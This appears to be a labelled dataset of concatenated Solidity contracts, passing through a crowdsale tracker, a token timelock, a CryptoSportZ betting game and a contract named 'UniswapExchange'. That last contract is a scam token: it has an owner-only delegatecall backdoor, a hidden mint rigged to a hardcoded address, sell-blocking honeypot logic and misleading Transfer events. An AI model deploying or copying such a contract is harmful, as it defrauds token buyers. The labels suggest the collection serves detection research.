emit AddPay();
return true;
}
function editPay(
bytes32 ticker,
uint currencyValue,
uint currencyUsdRaised,
uint _usdAbsRaisedInCents,
uint _coinRaisedInWei,
uint _coinRaisedBonusInWei
)
public
onlyMultiOwnersType(3)
returns(bool)
{
require(currencyValue > 0);
require(currencyUsdRaised > 0);
require(_usdAbsRaisedInCents > 0);
require(_coinRaisedInWei > 0);
assert(currencyList[ticker].active);
coinRaisedInWei = _coinRaisedInWei;
coinRaisedBonusInWei = _coinRaisedBonusInWei;
usdAbsRaisedInCents = _usdAbsRaisedInCents;
currencyList[ticker].usdRaised = currencyUsdRaised;
currencyList[ticker].raised = currencyValue;
emit EditPay();
return true;
}
function addPreSaleBonus(uint bonusToken) public onlyMultiOwnersType(4) returns(bool) {
coinRaisedInWei += bonusToken;
coinRaisedBonusInWei += bonusToken;
emit EditPay();
return true;
}
function editPreSaleBonus(uint beforeBonus, uint afterBonus) public onlyMultiOwnersType(5) returns(bool) {
coinRaisedInWei -= beforeBonus;
coinRaisedBonusInWei -= beforeBonus;
coinRaisedInWei += afterBonus;
coinRaisedBonusInWei += afterBonus;
emit EditPay();
return true;
}
function getTotalUsdRaisedInCents() public view returns(uint) {
uint totalUsdAmount = 0;
if (currencyTicker.length > 0) {
for (uint i = 0; i < currencyTicker.length; i++) {
if (currencyList[currencyTicker[i]].raised > 0) {
totalUsdAmount += getUsdFromCurrency(currencyTicker[i], currencyList[currencyTicker[i]].raised);
}
}
}
return subPercent(totalUsdAmount, currVolPercent);
}
function getUsdFromCurrency(string ticker, uint value) public view returns(uint) {
return getUsdFromCurrency(stringToBytes32(ticker), value);
}
function getUsdFromCurrency(string ticker, uint value, uint usd) public view returns(uint) {
return getUsdFromCurrency(stringToBytes32(ticker), value, usd);
}
function getUsdFromCurrency(bytes32 ticker, uint value) public view returns(uint) {
return getUsdFromCurrency(ticker, value, 0);
}
function getUsdFromCurrency(bytes32 ticker, uint value, uint usd) public view returns(uint) {
if (currencyList[ticker].active && value > 0) {
return value.mul(usd > 0 ? usd : currencyList[ticker].usd).div(currencyList[ticker].devision);
}
return 0;
}
function getAllCurrencyTicker() public view returns(string) {
string memory _tickers = "{";
for (uint i = 0; i < currencyTicker.length; i++) {
_tickers = strConcat(_tickers, strConcat("\"", bytes32ToString(currencyTicker[i]), "\":"), uint2str(currencyList[currencyTicker[i]].usd), (i+1 < currencyTicker.length) ? "," : "}");
}
return _tickers;
}
function updateCurrency(string ticker, uint value) public onlyMultiOwnersType(6) returns(bool) {
bytes32 _ticker = stringToBytes32(ticker);
require(currencyList[_ticker].active);
require(value > 0);
currencyList[_ticker].usd = value;
currencyList[_ticker].lastUpdate = block.timestamp;
emit ChangeCurrency();
return true;
}
function checkTickerExists(string ticker) public view returns(bool) {
return currencyList[stringToBytes32(ticker)].active;
}
function getCurrencyList(string ticker)
public
view
returns(
bool active,
uint usd,
uint devision,
uint raised,
uint usdRaised,
uint usdRaisedExchangeRate,
uint counter,
uint lastUpdate
)
{
return getCurrencyList(stringToBytes32(ticker));
}
function getCurrencyList(bytes32 ticker)
public
view
returns(
bool active,
uint usd,
uint devision,
uint raised,
uint usdRaised,
uint usdRaisedExchangeRate,
uint counter,
uint lastUpdate
)
{
CurrencyData memory _obj = currencyList[ticker];
uint _usdRaisedExchangeRate = getUsdFromCurrency(ticker, _obj.raised);
return (
_obj.active,
_obj.usd,
_obj.devision,
_obj.raised,
_obj.usdRaised,
_usdRaisedExchangeRate,
_obj.counter,
_obj.lastUpdate
);
}
function getCurrencyRate(string _ticker) public view returns(uint) {
return currencyList[stringToBytes32(_ticker)].usd;
}
function getCurrencyData() public view returns(string) {
string memory _array = "{";
if (currencyTicker.length > 0) {
for (uint i = 0; i < currencyTicker.length; i++) {
if (currencyList[currencyTicker[i]].active) {
_array = strConcat(_array, strConcat("\"", bytes32ToString(currencyTicker[i]), "\":"), getJsonCurrencyData(currencyList[currencyTicker[i]]), (i+1 == currencyTicker.length) ? "}" : ",");
}
}
} else {
return "[]";
}
return _array;
}
function getCoinRaisedInWei() public view returns(uint) {
return coinRaisedInWei;
}
function getCoinUSDRate() public view returns(uint) {
return coinUSDRate;
}
function getCurrVolPercent() public view returns(uint) {
return currVolPercent;
}
function getJsonCurrencyData(CurrencyData memory _obj) private pure returns (string) {
return strConcat(
strConcat("{\"usd\":", uint2str(_obj.usd), ",\"devision\":", uint2str(_obj.devision), ",\"raised\":\""),
strConcat(uint2str(_obj.raised), "\",\"usdRaised\":", uint2str(_obj.usdRaised), ",\"usdRaisedCurrency\":", uint2str((_obj.raised.mul(_obj.usd).div(_obj.devision)))),
strConcat(",\"counter\":", uint2str(_obj.counter), ",\"lastUpdate\":", uint2str(_obj.lastUpdate), "}")
);
}
function subPercent(uint a, uint b) private pure returns(uint) {
uint c = (a / 100) * b;
assert(c <= a);
return a - c;
}
} | 1 | 4,675 |
pragma solidity ^0.4.23;
contract ERC20Basic {
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256);
function balanceOf(address addr) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenTimelock is Ownable {
ERC20Basic public token;
uint8 public decimals = 8;
address public beneficiary;
uint256 public releaseTime1 = 1543593600;
uint256 public releaseTime2 = 1559318400;
uint256 public releaseTime3 = 1575129600;
uint256 public releaseTime4 = 1590940800;
uint256 public releaseValue1 = 1500000000 * (10 ** uint256(decimals));
uint256 public releaseValue2 = 1500000000 * (10 ** uint256(decimals));
uint256 public releaseValue3 = 1500000000 * (10 ** uint256(decimals));
uint256 public releaseValue4 = 1500000000 * (10 ** uint256(decimals));
bool public releaseState1 = false;
bool public releaseState2 = false;
bool public releaseState3 = false;
bool public releaseState4 = false;
constructor(
ERC20Basic _token,
address _beneficiary
)
public
{
require(block.timestamp < releaseTime1);
require(block.timestamp < releaseTime2);
require(block.timestamp < releaseTime3);
require(block.timestamp < releaseTime4);
require(_beneficiary != address(0));
require(_token != address(0));
token = _token;
beneficiary = _beneficiary;
}
function() public payable {
revert();
}
function checkCanRelease(bool rState, uint256 rTime, uint256 rAmount) private
{
require(block.timestamp >= rTime);
require(false == rState);
uint256 amount = token.balanceOf(this);
require(amount > 0);
require(amount >= rAmount);
}
function releaseImpl(uint256 rAmount) private
{
require( token.transfer(beneficiary, rAmount) );
}
function release_1() onlyOwner public
{
checkCanRelease(releaseState1, releaseTime1, releaseValue1);
releaseState1 = true;
releaseImpl(releaseValue1);
}
function release_2() onlyOwner public
{
checkCanRelease(releaseState2, releaseTime2, releaseValue2);
releaseState2 = true;
releaseImpl(releaseValue2);
}
function release_3() onlyOwner public
{
checkCanRelease(releaseState3, releaseTime3, releaseValue3);
releaseState3 = true;
releaseImpl(releaseValue3);
}
function release_4() onlyOwner public
{
checkCanRelease(releaseState4, releaseTime4, releaseValue4);
releaseState4 = true;
releaseImpl(releaseValue4);
}
function release_remain() onlyOwner public
{
require(true == releaseState1);
require(true == releaseState2);
require(true == releaseState3);
require(true == releaseState4);
uint256 amount = token.balanceOf(this);
require(amount > 0);
releaseImpl(amount);
}
} | 1 | 4,113 |
pragma solidity ^0.4.18;
contract ERC721Abstract
{
function implementsERC721() public pure returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
}
contract ERC721 is ERC721Abstract
{
string constant public name = "CryptoSportZ";
string constant public symbol = "CSZ";
uint256 public totalSupply;
struct Token
{
uint256 price;
uint256 option;
}
mapping (uint256 => Token) tokens;
mapping (uint256 => address) public tokenIndexToOwner;
mapping (address => uint256) ownershipTokenCount;
mapping (uint256 => address) public tokenIndexToApproved;
function implementsERC721() public pure returns (bool)
{
return true;
}
function balanceOf(address _owner) public view returns (uint256 count)
{
return ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
function _approve(uint256 _tokenId, address _approved) internal
{
tokenIndexToApproved[_tokenId] = _approved;
}
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToApproved[_tokenId] == _claimant;
}
function approve( address _to, uint256 _tokenId ) public
{
require(_owns(msg.sender, _tokenId));
_approve(_tokenId, _to);
Approval(msg.sender, _to, _tokenId);
}
function transferFrom( address _from, address _to, uint256 _tokenId ) public
{
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
_transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToOwner[_tokenId] == _claimant;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal
{
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0))
{
ownershipTokenCount[_from]--;
delete tokenIndexToApproved[_tokenId];
Transfer(_from, _to, _tokenId);
}
}
function transfer(address _to, uint256 _tokenId) public
{
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
}
contract Owned
{
address private candidate;
address public owner;
mapping(address => bool) public admins;
function Owned() public
{
owner = msg.sender;
}
function changeOwner(address newOwner) public
{
require(msg.sender == owner);
candidate = newOwner;
}
function confirmOwner() public
{
require(candidate == msg.sender);
owner = candidate;
}
function addAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = true;
}
function removeAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = false;
}
}
contract Functional
{
function parseInt(string _a, uint _b) internal pure returns (uint)
{
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string)
{
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function strConcat(string _a, string _b, string _c) internal pure returns (string)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
string memory abc;
uint k = 0;
uint i;
bytes memory babc;
if (_ba.length==0)
{
abc = new string(_bc.length);
babc = bytes(abc);
}
else
{
abc = new string(_ba.length + _bb.length+ _bc.length);
babc = bytes(abc);
for (i = 0; i < _ba.length; i++) babc[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babc[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) babc[k++] = _bc[i];
return string(babc);
}
function timenow() public view returns(uint32) { return uint32(block.timestamp); }
}
contract CryptoSportZ is ERC721, Functional, Owned
{
uint256 public feeGame;
enum Status {
NOTFOUND,
PLAYING,
PROCESSING,
PAYING,
CANCELING
}
struct Game {
string nameGame;
uint32 countCombinations;
uint32 dateStopBuy;
uint32 winCombination;
uint256 betsSumIn;
uint256 feeValue;
Status status;
bool isFreezing;
}
mapping (uint256 => Game) private game;
uint32 public countGames;
uint32 private constant shiftGame = 0;
uint32 private constant FEECONTRACT = 5;
struct Stake {
uint256 sum;
uint32 count;
}
mapping(uint32 => mapping (uint32 => Stake)) public betsAll;
mapping(bytes32 => uint32) private queryRes;
event LogEvent(string _event, string nameGame, uint256 value);
event LogToken(string _event, address user, uint32 idGame, uint256 idToken, uint32 combination, uint256 amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function getPriceTicket() public view returns ( uint32 )
{
if ( timenow() >= 1531339200 ) return 8000;
if ( timenow() >= 1530993600 ) return 4000;
if ( timenow() >= 1530648000 ) return 2000;
if ( timenow() >= 1530302400 ) return 1000;
if ( timenow() >= 1529870400 ) return 500;
if ( timenow() >= 1529438400 ) return 400;
if ( timenow() >= 1529006400 ) return 300;
if ( timenow() >= 1528747200 ) return 200;
if ( timenow() >= 1528401600 ) return 100;
return 50;
}
function getGameByID(uint32 _id) public view returns (
string nameGame,
uint32 countCombinations,
uint32 dateStopBuy,
uint32 priceTicket,
uint32 winCombination,
uint32 betsCount,
uint256 betsSumIn,
uint256 feeValue,
Status status,
bool isFreezing
){
Game storage gm = game[_id];
nameGame = gm.nameGame;
countCombinations = gm.countCombinations;
dateStopBuy = gm.dateStopBuy;
priceTicket = getPriceTicket();
winCombination = gm.winCombination;
betsCount = getCountTokensByGame(_id);
betsSumIn = gm.betsSumIn;
if (betsSumIn==0) betsSumIn = getSumInByGame(_id);
feeValue = gm.feeValue;
status = gm.status;
if ( status == Status.PLAYING && timenow() > dateStopBuy ) status = Status.PROCESSING;
isFreezing = gm.isFreezing;
}
function getBetsMas(uint32 idGame) public view returns (uint32[33])
{
Game storage curGame = game[idGame];
uint32[33] memory res;
for(uint32 i=1;i<=curGame.countCombinations;i++) res[i] = betsAll[idGame][i].count;
return res;
}
function getCountTokensByGame(uint32 idGame) internal view returns (uint32)
{
Game storage curGame = game[idGame];
uint32 count = 0;
for(uint32 i=1;i<=curGame.countCombinations;i++) count += betsAll[idGame][i].count;
return count;
}
function getSumInByGame(uint32 idGame) internal view returns (uint256)
{
Game storage curGame = game[idGame];
uint256 sum = 0;
for(uint32 i=1;i<=curGame.countCombinations;i++) sum += betsAll[idGame][i].sum;
return sum;
}
function getTokenByID(uint256 _id) public view returns (
uint256 price,
uint256 payment,
uint32 combination,
uint32 dateBuy,
uint32 idGame,
address ownerToken,
bool payout
){
Token storage tkn = tokens[_id];
price = tkn.price;
uint256 packed = tkn.option;
payout = uint8((packed >> (12*8)) & 0xFF)==1?true:false;
idGame = uint32((packed >> (8*8)) & 0xFFFFFFFF);
combination = uint32((packed >> (4*8)) & 0xFFFFFFFF);
dateBuy = uint32(packed & 0xFFFFFFFF);
payment = 0;
Game storage curGame = game[idGame];
uint256 betsSumIn = curGame.betsSumIn;
if (betsSumIn==0) betsSumIn = getSumInByGame(idGame);
if (curGame.winCombination==combination) payment = betsSumIn / betsAll[idGame][ curGame.winCombination ].count;
if (curGame.status == Status.CANCELING) payment = tkn.price;
ownerToken = tokenIndexToOwner[_id];
}
function getUserTokens(address user, uint32 count) public view returns ( string res )
{
res="";
require(user!=0x0);
uint32 findCount=0;
for (uint256 i = totalSupply-1; i >= 0; i--)
{
if(i>totalSupply) break;
if (user == tokenIndexToOwner[i])
{
res = strConcat( res, ",", uint2str(i) );
findCount++;
if (count!=0 && findCount>=count) break;
}
}
}
function getUserTokensByGame(address user, uint32 idGame) public view returns ( string res )
{
res="";
require(user!=0x0);
for(uint256 i=0;i<totalSupply;i++)
{
if (user == tokenIndexToOwner[i])
{
uint256 packed = tokens[i].option;
uint32 idGameToken = uint32((packed >> (8*8)) & 0xFFFFFFFF);
if (idGameToken == idGame) res = strConcat( res, ",", uint2str(i) );
}
}
}
function getTokensByGame(uint32 idGame) public view returns (string res)
{
res="";
for(uint256 i=0;i<totalSupply;i++)
{
uint256 packed = tokens[i].option;
uint32 idGameToken = uint32((packed >> (8*8)) & 0xFFFFFFFF);
if (idGameToken == idGame) res = strConcat( res, ",", uint2str(i) );
}
}
function getStatGames() public view returns (
uint32 countAll,
uint32 countPlaying,
uint32 countProcessing,
string listPlaying,
string listProcessing
){
countAll = countGames;
countPlaying = 0;
countProcessing = 0;
listPlaying="";
listProcessing="";
uint32 curtime = timenow();
for(uint32 i=shiftGame; i<countAll+shiftGame; i++)
{
if (game[i].status!=Status.PLAYING) continue;
if (curtime < game[i].dateStopBuy) { countPlaying++; listPlaying = strConcat( listPlaying, ",", uint2str(i) ); }
if (curtime >= game[i].dateStopBuy) { countProcessing++; listProcessing = strConcat( listProcessing, ",", uint2str(i) ); }
}
}
function CryptoSportZ() public
{
}
function freezeGame(uint32 idGame, bool freeze) public onlyAdmin
{
Game storage curGame = game[idGame];
require( curGame.isFreezing != freeze );
curGame.isFreezing = freeze;
}
function addGame( string _nameGame ) onlyAdmin public
{
require( bytes(_nameGame).length > 2 );
Game memory _game;
_game.nameGame = _nameGame;
_game.countCombinations = 32;
_game.dateStopBuy = 1531666800;
_game.status = Status.PLAYING;
uint256 newGameId = countGames + shiftGame;
game[newGameId] = _game;
countGames++;
LogEvent( "AddGame", _nameGame, newGameId );
}
function () payable public { require (msg.value == 0x0); }
function buyToken(uint32 idGame, uint32 combination, address captainAddress) payable public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( timenow() < curGame.dateStopBuy );
require( combination > 0 && combination <= curGame.countCombinations );
require( curGame.isFreezing == false );
uint256 userStake = msg.value;
uint256 ticketPrice = uint256(getPriceTicket()) * 1 finney;
require( userStake >= ticketPrice );
if ( userStake > ticketPrice )
{
uint256 change = userStake - ticketPrice;
userStake = userStake - change;
require( userStake == ticketPrice );
msg.sender.transfer(change);
}
uint256 feeValue = userStake * FEECONTRACT / 100;
if (captainAddress!=0x0 && captainAddress != msg.sender)
{
uint256 captainValue = feeValue * 20 / 100;
feeValue = feeValue - captainValue;
captainAddress.transfer(captainValue);
}
userStake = userStake - feeValue;
curGame.feeValue = curGame.feeValue + feeValue;
betsAll[idGame][combination].sum += userStake;
betsAll[idGame][combination].count += 1;
uint256 packed;
packed = ( uint128(idGame) << 8*8 ) + ( uint128(combination) << 4*8 ) + uint128(block.timestamp);
Token memory _token = Token({
price: userStake,
option : packed
});
uint256 newTokenId = totalSupply++;
tokens[newTokenId] = _token;
_transfer(0x0, msg.sender, newTokenId);
LogToken( "Buy", msg.sender, idGame, newTokenId, combination, userStake);
}
function redeemToken(uint256 _tokenId) public
{
Token storage tkn = tokens[_tokenId];
uint256 packed = tkn.option;
bool payout = uint8((packed >> (12*8)) & 0xFF)==1?true:false;
uint32 idGame = uint32((packed >> (8*8)) & 0xFFFFFFFF);
uint32 combination = uint32((packed >> (4*8)) & 0xFFFFFFFF);
Game storage curGame = game[idGame];
require( curGame.status == Status.PAYING || curGame.status == Status.CANCELING);
require( msg.sender == tokenIndexToOwner[_tokenId] );
require( payout == false );
require( combination == curGame.winCombination || curGame.status == Status.CANCELING );
uint256 sumPayment = 0;
if ( curGame.status == Status.CANCELING ) sumPayment = tkn.price;
if ( curGame.status == Status.PAYING ) sumPayment = curGame.betsSumIn / betsAll[idGame][curGame.winCombination].count;
payout = true;
packed += uint128(payout?1:0) << 12*8;
tkn.option = packed;
msg.sender.transfer(sumPayment);
LogToken( "Redeem", msg.sender, idGame, uint32(_tokenId), combination, sumPayment);
}
function cancelGame(uint32 idGame) public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( msg.sender == owner || admins[msg.sender] || timenow() > curGame.dateStopBuy + 60 days );
curGame.status = Status.CANCELING;
takeFee(idGame);
}
function resolveGameByHand(uint32 idGame, uint32 combination) onlyAdmin public
{
Game storage curGame = game[idGame];
require( curGame.status == Status.PLAYING );
require( combination <= curGame.countCombinations );
require( combination != 0 );
require( timenow() > curGame.dateStopBuy + 2*60*60 );
curGame.winCombination = combination;
checkWinNobody(idGame);
}
function checkWinNobody(uint32 idGame) internal
{
Game storage curGame = game[idGame];
curGame.status = Status.PAYING;
curGame.betsSumIn = getSumInByGame(idGame);
if ( betsAll[idGame][curGame.winCombination].count == 0 )
{
if (curGame.betsSumIn+curGame.feeValue!=0) feeGame = feeGame + curGame.betsSumIn + curGame.feeValue;
LogEvent( "NobodyWin", curGame.nameGame, curGame.betsSumIn+curGame.feeValue );
}
else
takeFee(idGame);
}
function takeFee(uint32 idGame) internal
{
Game storage curGame = game[idGame];
if ( curGame.feeValue > 0 )
{
feeGame = feeGame + curGame.feeValue;
LogEvent( "TakeFee", curGame.nameGame, curGame.feeValue );
}
}
function withdraw() onlyOwner public
{
require( feeGame > 0 );
uint256 tmpFeeGame = feeGame;
feeGame = 0;
owner.transfer(tmpFeeGame);
}
} | 1 | 4,785 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,582 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
constructor() public {
validator = msg.sender;
}
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
function setNewValidator(address newValidator) public onlyValidator {
